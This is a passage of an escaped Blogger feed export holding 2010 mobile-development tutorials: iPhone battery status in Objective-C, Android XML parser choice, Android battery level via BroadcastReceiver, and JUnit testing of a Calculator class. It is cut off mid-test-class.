*chargingState;&lt;br /&gt;@property (nonatomic, retain, readonly) NSNumberFormatter *numberFormatter;&lt;br /&gt;&lt;br /&gt;@end &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;There are two UI elements (text views), namely the battery level and the battery charging state. The corresponding implementation file is next:&lt;/div&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;#import "BatteryInformationViewController.h"&lt;br /&gt;&lt;br /&gt;@interface BatteryInformationViewController ()&lt;br /&gt;&lt;br /&gt;- (void)displayBatteryLevel;&lt;br /&gt;- (void)displayBatteryStatus;&lt;br /&gt;&lt;br /&gt;@end&lt;br /&gt;&lt;br /&gt;@implementation BatteryInformationViewController&lt;br /&gt;&lt;br /&gt;@synthesize batteryLevel, chargingState;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;- (NSNumberFormatter *)numberFormatter&lt;br /&gt;{&lt;br /&gt;    if (numberFormatter == nil)&lt;br /&gt;    {&lt;br /&gt;        // Used for formatting the battery level&lt;br /&gt;        numberFormatter = [[NSNumberFormatter alloc] init];&lt;br /&gt;        [numberFormatter setNumberStyle:NSNumberFormatterPercentStyle];&lt;br /&gt;        [numberFormatter setMaximumFractionDigits:1];&lt;br /&gt;    }&lt;br /&gt;    return numberFormatter;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Implement viewDidLoad to do additional setup after loading the view, typically from a nib.&lt;br /&gt;- (void)viewDidLoad {&lt;br /&gt;    [super viewDidLoad];&lt;br /&gt;    &lt;br /&gt;    // Register for battery level and state change notifications.&lt;br /&gt;    [[NSNotificationCenter defaultCenter] addObserver:self&lt;br /&gt;                                             selector:@selector(batteryLevelDidChange:)&lt;br /&gt;                                                 name:UIDeviceBatteryLevelDidChangeNotification object:nil];&lt;br /&gt;    &lt;br /&gt;    [[NSNotificationCenter defaultCenter] addObserver:self&lt;br /&gt;                                             selector:@selector(batteryStateDidChange:)&lt;br /&gt;                                                 name:UIDeviceBatteryStateDidChangeNotification object:nil];&lt;br /&gt;    &lt;br /&gt;    [self displayBatteryLevel];&lt;br /&gt;    &lt;br /&gt;    [self displayBatteryStatus];&lt;br /&gt;    &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#pragma mark Battery Info&lt;br /&gt;&lt;br /&gt;- (void)displayBatteryLevel {&lt;br /&gt;    float batteryLevelLocal = [UIDevice currentDevice].batteryLevel;&lt;br /&gt;    if (batteryLevelLocal &amp;lt; 0.0)&lt;br /&gt;    {&lt;br /&gt;        // -1.0 means battery state is UIDeviceBatteryStateUnknown&lt;br /&gt;        self.batteryLevel.text = NSLocalizedString(@"Unknown", @"");&lt;br /&gt;    }&lt;br /&gt;    else {&lt;br /&gt;        NSNumber *levelObj = [NSNumber numberWithFloat:batteryLevelLocal];&lt;br /&gt;        &lt;br /&gt;        // Using the numberFormatter property lazily creates that object the&lt;br /&gt;        // first time it's used. &lt;br /&gt;        self.batteryLevel.text = [self.numberFormatter stringFromNumber:levelObj];&lt;br /&gt;    }    &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;- (void)displayBatteryStatus {&lt;br /&gt;    // Get battery state&lt;br /&gt;    switch ([UIDevice currentDevice].batteryState) {&lt;br /&gt;        case UIDeviceBatteryStateUnknown:&lt;br /&gt;        {&lt;br /&gt;            self.chargingState.text = NSLocalizedString(@"Unknown", @"");&lt;br /&gt;            break;&lt;br /&gt;        }&lt;br /&gt;        case UIDeviceBatteryStateUnplugged:&lt;br /&gt;        {&lt;br /&gt;            self.chargingState.text = NSLocalizedString(@"Unplugged", @"");&lt;br /&gt;            break;&lt;br /&gt;        }&lt;br /&gt;        case UIDeviceBatteryStateCharging:&lt;br /&gt;        {&lt;br /&gt;            self.chargingState.text = NSLocalizedString(@"Charging", @"");&lt;br /&gt;            break;&lt;br /&gt;        }&lt;br /&gt;        case UIDeviceBatteryStateFull:&lt;br /&gt;        {&lt;br /&gt;            self.chargingState.text = NSLocalizedString(@"Full", @"");&lt;br /&gt;            break;&lt;br /&gt;        }&lt;br /&gt;    }    &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#pragma mark Battery Notifications&lt;br /&gt;&lt;br /&gt;// Called when the battery level has changed&lt;br /&gt;- (void)batteryLevelDidChange:(NSNotification *)notification&lt;br /&gt;{&lt;br /&gt;    [self displayBatteryLevel];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Clalled when the battery status has changed&lt;br /&gt;- (void)batteryStateDidChange:(NSNotification *)notification&lt;br /&gt;{&lt;br /&gt;    [self displayBatteryStatus];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;- (void)didReceiveMemoryWarning {&lt;br /&gt;    // Releases the view if it doesn't have a superview.&lt;br /&gt;    [super didReceiveMemoryWarning];&lt;br /&gt;    &lt;br /&gt;    // Release any cached data, images, etc that aren't in use.&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;- (void)viewDidUnload {&lt;br /&gt;    // Release any retained subviews of the main view.&lt;br /&gt;    // e.g. self.myOutlet = nil;&lt;br /&gt;    self.batteryLevel = nil;&lt;br /&gt;    self.chargingState = nil;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;- (void)viewDidDisappear:(BOOL)animated {&lt;br /&gt;    [[NSUserDefaults standardUserDefaults] setInteger:2 forKey:@"WhichView"];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;- (void)dealloc {&lt;br /&gt;    [batteryLevel release];&lt;br /&gt;    [chargingState release];&lt;br /&gt;    [numberFormatter release];&lt;br /&gt;    [super dealloc];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;@end &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;The above code is commented, so it should be pretty obvious what it does. I first register for change notifications for battery level and battery status change, and display the initial values for those properties.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;There is a really good example from Apple called &lt;a href="http://developer.apple.com/iphone/library/samplecode/BatteryStatus/index.html"&gt;BatteryStatus&lt;/a&gt;. It should give you anything you need regarding battery information.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;I hope you find it useful!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-2398856784729861369?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/2398856784729861369/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=2398856784729861369' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/2398856784729861369'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/2398856784729861369'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2010/03/battery-information-with-iphones-cocoa.html' title='Battery Information using iPhone&apos;s Cocoa Touch'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-4720408465489877520</id><published>2010-02-08T10:37:00.001-05:00</published><updated>2010-04-12T19:55:16.112-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='XMLPullParser'/><category scheme='http://www.blogger.com/atom/ns#' term='SAX'/><category scheme='http://www.blogger.com/atom/ns#' term='XML Parsing'/><category scheme='http://www.blogger.com/atom/ns#' term='DOM'/><category scheme='http://www.blogger.com/atom/ns#' term='XML'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><title type='text'>Android XML Parsing</title><content type='html'>&lt;div style="text-align: justify;"&gt;If you ever considered which parser to use in Android, on developer.com you can find an &lt;a href="http://www.developer.com/xml/article.php/10929_3824221_2/Android-XML-Parser-Performance.htm"&gt;article&lt;/a&gt; that does a comparison of DOM, SAX, and XMLPullParser. Since I started working with Java ME in 2003, SAX was the XML parser of choice, since DOM consumed to much memory and was slower. Nothing changed in Android, although the pull parser is much closer in performance to SAX.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-4720408465489877520?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/4720408465489877520/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=4720408465489877520' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4720408465489877520'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4720408465489877520'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2010/02/android-xml-parsing.html' title='Android XML Parsing'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-6263267526225818748</id><published>2010-02-07T21:33:00.002-05:00</published><updated>2010-04-12T19:55:54.262-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Power Consumption'/><category scheme='http://www.blogger.com/atom/ns#' term='Battery'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><title type='text'>Getting the Battery Level in Android using the SDK</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;s&gt;Finding out the battery level using the Android SDK is not quite an easy task because this functionality is not documented, which means it can change at any point in time&lt;/s&gt;. Well, after reading a little more about the &lt;code&gt;ACTION_BATTERY_CHANGED&lt;/code&gt; Intent and about the &lt;code&gt;BatteryManager&lt;/code&gt; class, starting with API Level 5, you have all the information needed to get the status on your phone's battery. The &lt;code&gt;BatteryManager&lt;/code&gt; class contains some String values that will give you information about the current battery level and the scale, constants such as &lt;code&gt;EXTRA_LEVEL&lt;/code&gt; and &lt;code&gt;EXTRA_SCALE&lt;/code&gt;. If you were to work with an API version older than 2.0 (&amp;lt; 5), then it becomes a little more difficult to find the right information as it is not documented in the APIs as far as I could tell.&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;For now, here is how you can find out:&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;Create an IntentFilter that matches the&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: monospace; white-space: pre;"&gt;Intent.ACTION_BATTERY_CHANGED&lt;span class="Apple-style-span" style="font-family: 'Times New Roman'; white-space: normal;"&gt;&amp;nbsp;action.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Create a BroadcastReceiver that will be called with a broadcast intent.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Inside&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: monospace; white-space: pre;"&gt;onReceive&lt;span class="Apple-style-span" style="font-family: 'Times New Roman'; white-space: normal;"&gt;, retrieve data based on the "level" item (battery level) for version &amp;lt; 5, or use BatteryManager.EXTRA_LEVEL for versions &amp;gt;= 5.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: monospace; white-space: pre;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman'; white-space: normal;"&gt;Register the receiver that will be called with the broadcast intent that signals a battery change&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Here is the&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: monospace; white-space: pre;"&gt;BatteryLevelActivity&lt;span class="Apple-style-span" style="font-family: 'Times New Roman'; white-space: normal;"&gt;:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;package edu.fau.csi.battery;&lt;br /&gt;&lt;br /&gt;import android.app.Activity;&lt;br /&gt;import android.content.BroadcastReceiver;&lt;br /&gt;import android.content.Context;&lt;br /&gt;import android.content.Intent;&lt;br /&gt;import android.content.IntentFilter;&lt;br /&gt;import android.os.Bundle;&lt;br /&gt;import android.widget.TextView;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * Used for finding the battery level of an Android-based phone.&lt;br /&gt; * &lt;br /&gt; * @author Mihai Fonoage&lt;br /&gt; *&lt;br /&gt; */&lt;br /&gt;public class BatteryLevelActivity extends Activity {&lt;br /&gt;    /** Called when the activity is first created. */&lt;br /&gt;    private TextView batterLevel;&lt;br /&gt;&lt;br /&gt;    @Override&lt;br /&gt;    /**&lt;br /&gt;     * Called when the current activity is first created.&lt;br /&gt;     */&lt;br /&gt;    public void onCreate(Bundle icicle) {&lt;br /&gt;        super.onCreate(icicle);&lt;br /&gt;        setContentView(R.layout.main);&lt;br /&gt;        batterLevel = (TextView) this.findViewById(R.id.batteryLevel);&lt;br /&gt;        batteryLevel();&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    /**&lt;br /&gt;     * Computes the battery level by registering a receiver to the intent triggered &lt;br /&gt;     * by a battery status/level change.&lt;br /&gt;     */&lt;br /&gt;    private void batteryLevel() {&lt;br /&gt;        BroadcastReceiver batteryLevelReceiver = new BroadcastReceiver() {&lt;br /&gt;            public void onReceive(Context context, Intent intent) {&lt;br /&gt;                context.unregisterReceiver(this);&lt;br /&gt;                int rawlevel = intent.getIntExtra("level", -1);&lt;br /&gt;                int scale = intent.getIntExtra("scale", -1);&lt;br /&gt;                int level = -1;&lt;br /&gt;                if (rawlevel &amp;gt;= 0 &amp;amp;&amp;amp; scale &amp;gt; 0) {&lt;br /&gt;                    level = (rawlevel * 100) / scale;&lt;br /&gt;                }&lt;br /&gt;                batterLevel.setText("Battery Level Remaining: " + level + "%");&lt;br /&gt;            }&lt;br /&gt;        };&lt;br /&gt;        IntentFilter batteryLevelFilter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED);&lt;br /&gt;        registerReceiver(batteryLevelReceiver, batteryLevelFilter);&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;The&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: monospace; white-space: pre;"&gt;battery.xml &lt;span class="Apple-style-span" style="font-family: 'Times New Roman'; white-space: normal;"&gt;layout file is next:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;&amp;lt;?xml version="1.0" encoding="utf-8"?&amp;gt; &lt;br /&gt;&amp;lt;LinearLayout &lt;br /&gt;  xmlns:android="http://schemas.android.com/apk/res/android" &lt;br /&gt;  android:orientation="vertical" &lt;br /&gt;  android:layout_width="fill_parent" &lt;br /&gt;  android:layout_height="fill_parent"&amp;gt; &lt;br /&gt;  &lt;br /&gt;    &amp;lt;TextView         &lt;br /&gt;        android:id="@+id/batteryLevel"&lt;br /&gt;        android:layout_width="fill_parent" &lt;br /&gt;        android:layout_height="fill_parent" &lt;br /&gt;        android:gravity="center_vertical|center_horizontal"&lt;br /&gt;        android:textSize="50dip"&amp;gt; &lt;br /&gt;    &amp;lt;/TextView&amp;gt;&lt;br /&gt;    &lt;br /&gt;&amp;lt;/LinearLayout&amp;gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman'; white-space: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;As I mentioned in the beginning, if you are using Android 2.0 or higher, you can make the following changes to the batteryLevel method of the BatterLevelActivity class:&lt;/div&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;    /**&lt;br /&gt;     * Computes the battery level by registering a receiver to the intent triggered &lt;br /&gt;     * by a battery status/level change.&lt;br /&gt;     */&lt;br /&gt;    private void batteryLevel() {&lt;br /&gt;        BroadcastReceiver batteryLevelReceiver = new BroadcastReceiver() {&lt;br /&gt;            public void onReceive(Context context, Intent intent) {&lt;br /&gt;                context.unregisterReceiver(this);&lt;br /&gt;                int rawlevel = intent.getIntExtra(&lt;b&gt;&lt;span class="Apple-style-span" style="color: blue;"&gt;BatteryManager.EXTRA_LEVEL&lt;/span&gt;&lt;/b&gt;, -1);&lt;br /&gt;                int scale = intent.getIntExtra(&lt;b&gt;&lt;span class="Apple-style-span" style="color: blue;"&gt;BatteryManager.EXTRA_SCALE&lt;/span&gt;&lt;/b&gt;, -1);&lt;br /&gt;                int level = -1;&lt;br /&gt;                if (rawlevel &amp;gt;= 0 &amp;amp;&amp;amp; scale &amp;gt; 0) {&lt;br /&gt;                    level = (rawlevel * 100) / scale;&lt;br /&gt;                }&lt;br /&gt;                batterLevel.setText("Battery Level Remaining: " + level + "%");&lt;br /&gt;            }&lt;br /&gt;        };&lt;br /&gt;        IntentFilter batteryLevelFilter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED);&lt;br /&gt;        registerReceiver(batteryLevelReceiver, batteryLevelFilter);&lt;br /&gt;    }&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;The code for getting the battery level was inspired from the &lt;a href="http://twisty.googlecode.com/svn-history/r26/trunk/twisty/src/com/google/twisty/Twisty.java"&gt;Twisty project&lt;/a&gt;.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Enjoy!&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-6263267526225818748?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/6263267526225818748/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=6263267526225818748' title='15 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/6263267526225818748'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/6263267526225818748'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2010/02/getting-battery-level-in-android-using.html' title='Getting the Battery Level in Android using the SDK'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>15</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-1830590248847453145</id><published>2010-01-31T17:30:00.004-05:00</published><updated>2010-04-12T19:57:16.336-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Testing'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='JUnit'/><title type='text'>Unit and Functional Testing in Android</title><content type='html'>&lt;div style="text-align: justify;"&gt;I don't have to tell you that testing is a fundamental part of the product development cycle, although I just did. No matter if you are developing for the desktop, web, or mobile space, you should make sure that the end software system works as required. This blog will go through two flavors of testing on the Android platform: unit and functional.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Unit tests tell the developer that the code runs correctly, while functional tests tell the developer that the code is doing what is supposed to do. To more clearly understand the difference, I will use the analogy mentioned in&amp;nbsp;&lt;a href="http://www.ibm.com/developerworks/library/j-test.html"&gt;http://www.ibm.com/developerworks/library/j-test.html&lt;/a&gt;. If you think of building a system as being similar to building a house, then think of unit tests as having the building inspector at the construction's site, focusing on making sure that the internal system of the house (foundation, plumbing, etc) works correctly, while functional testing as having the homeowner visiting the house and being interested in how the house looks, if the rooms have the desired size, etc. He assumes that the internal functions of the house work properly.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;In unit testing, think of a unit as being the smallest testable part of an application, such as a function/method. The goal is to isolate such parts and make sure they run correctly by being able to test them repeatably. Unit tests are written from the developer's&amp;nbsp;perspective, and as a developer, we have to make sure that we understand the specification and requirements of our software system before writing unit tests. This can be achieved through use cases.&lt;/div&gt;&lt;br /&gt;The flow of unit testing is shown below:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_mPswsGUhiws/S2XqYSXFazI/AAAAAAAAFbU/1odsORyh7Nk/s1600-h/UnitTesting.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_mPswsGUhiws/S2XqYSXFazI/AAAAAAAAFbU/1odsORyh7Nk/s320/UnitTesting.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Android uses &lt;a href="http://www.junit.org/"&gt;JUnit&lt;/a&gt;, and open source framework for writing and running unit tests. Some of the framework's features are:&lt;/div&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;Assertions for testing expected results&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Test fixtures for sharing common data&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Test runners for running tests&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;How does JUnit work? You use assert statements to assert that something is true &lt;code&gt;(assertTrue(expected, actual), assertTrue(condition)&lt;/code&gt;, etc), that something is false (&lt;code&gt;assertFalse(condition)&lt;/code&gt;, etc), that something is equal (&lt;code&gt;assertEqual(expected, actual)&lt;/code&gt;, etc). When an assert fails, the test failed for that particular case, hence your code needs to be fixed (assuming the unit test was written correctly).&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Starting with version 4.x, JUnit takes advantage of Java 5 Annotations:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;@Test&lt;/li&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;Mark your test cases with the @Test annotation&lt;/li&gt;&lt;/ul&gt;&lt;li style="text-align: justify;"&gt;@Before and @After&lt;/li&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;Used for "setup" and "tearDown" methods&lt;/li&gt;&lt;li style="text-align: justify;"&gt;They run before and after every test case&lt;/li&gt;&lt;/ul&gt;&lt;li style="text-align: justify;"&gt;@BeforeClass and @AfterClass&lt;/li&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;Used for class wide "setup" and "tearDown"&lt;/li&gt;&lt;li style="text-align: justify;"&gt;They run one time, before and after all test cases&lt;/li&gt;&lt;li style="text-align: justify;"&gt;You write you initialization code (i.e. open database connection) and cleanup code (i.e. close database connection) in here&lt;/li&gt;&lt;/ul&gt;&lt;li style="text-align: justify;"&gt;@Ignore&lt;/li&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;Used for test cases you want to ignore (i.e. on methods that are not fully implemented yet, hence are not ready to be ran)&lt;/li&gt;&lt;/ul&gt;&lt;li style="text-align: justify;"&gt;Exception Handling&lt;/li&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;Use the "expected" parameter with the @Test annotation for test cases that expect exceptions (i.e. &lt;code&gt;@Test(expected = ArithmeticException.class) ... &lt;/code&gt;)&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;Let us look at a Java Example, namely a Calculator application. The class that incorporates the basic functionality of a calculator is shown below:&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: monospace; white-space: pre;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: monospace; white-space: pre;"&gt;/**&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;package edu.fau.csi.junit;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * Simple class that incorporates the basic functionality of a calculator, providing methods to &lt;br /&gt; * add, subtract, multiply, and divide to double numbers.  &lt;br /&gt; * &lt;br /&gt; * @author Mihai Fonoage&lt;br /&gt; *&lt;br /&gt; */&lt;br /&gt;public class Calculator {&lt;br /&gt;    /**&lt;br /&gt;     * Left operand of the operation to be performed.&lt;br /&gt;     */&lt;br /&gt;    private double leftOperand;&lt;br /&gt;    /**&lt;br /&gt;     * Right operand of the operation to be performed.&lt;br /&gt;     */&lt;br /&gt;    private double rightOperand;&lt;br /&gt;    &lt;br /&gt;    /**&lt;br /&gt;     * Constructs a Calculator object by initializing the leftOperand and rightOperand &lt;br /&gt;     * with the given values.&lt;br /&gt;     * &lt;br /&gt;     * @param leftOperand Left operand.&lt;br /&gt;     * @param rightOperand Right operand.&lt;br /&gt;     */&lt;br /&gt;    public Calculator(double leftOperand, double rightOperand) {&lt;br /&gt;        this.leftOperand = leftOperand;&lt;br /&gt;        this.rightOperand = rightOperand;&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    /**&lt;br /&gt;     * Adds the leftOperand to the rightOperand.&lt;br /&gt;     * &lt;br /&gt;     * @return The sum of the two operands. &lt;br /&gt;     */&lt;br /&gt;    public double add() {&lt;br /&gt;        return leftOperand + rightOperand;&lt;br /&gt;    }&lt;br /&gt;    /**&lt;br /&gt;     * Subtracts the rightOperand from the leftOperand.&lt;br /&gt;     * &lt;br /&gt;     * @return The subtraction of the two operands. &lt;br /&gt;     */&lt;br /&gt;    public double subtract() {&lt;br /&gt;        return leftOperand - rightOperand;&lt;br /&gt;    }&lt;br /&gt;    /**&lt;br /&gt;     * Multiply the leftOperand to the rightOperand.&lt;br /&gt;     * &lt;br /&gt;     * @return The multiplication of the two operands. &lt;br /&gt;     */&lt;br /&gt;    public double multiply() {&lt;br /&gt;        return leftOperand * rightOperand;&lt;br /&gt;    }&lt;br /&gt;    /**&lt;br /&gt;     * Divides the leftOperand to the rightOperand.&lt;br /&gt;     * &lt;br /&gt;     * @return The division of the two operands. &lt;br /&gt;     */&lt;br /&gt;    public double divide() {&lt;br /&gt;        if (rightOperand == 0) {&lt;br /&gt;            throw new ArithmeticException("right operand should not be zero!");&lt;br /&gt;        }&lt;br /&gt;        return leftOperand / rightOperand;&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;I created a new source folder named test and included the following test class (by right-clicking on the project name -&amp;gt; New -&amp;gt; JUnit Test Case, choose "New JUnit 4 test", and as the class under test, search for the above Calculator class):&lt;/div&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;package edu.fau.csi.junit;&lt;br /&gt;&lt;br /&gt;import static org.junit.Assert.assertTrue;&lt;br /&gt;&lt;br /&gt;import org.junit.After;&lt;br /&gt;import org.junit.Before;&lt;br /&gt;import org.junit.Test;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * JUnit Test case for the Calculator class.&lt;br /&gt; * &lt;br /&gt; * @author Mihai Fonoage&lt;br /&gt; *&lt;br /&gt; */&lt;br /&gt;public class CalculatorTest {&lt;br 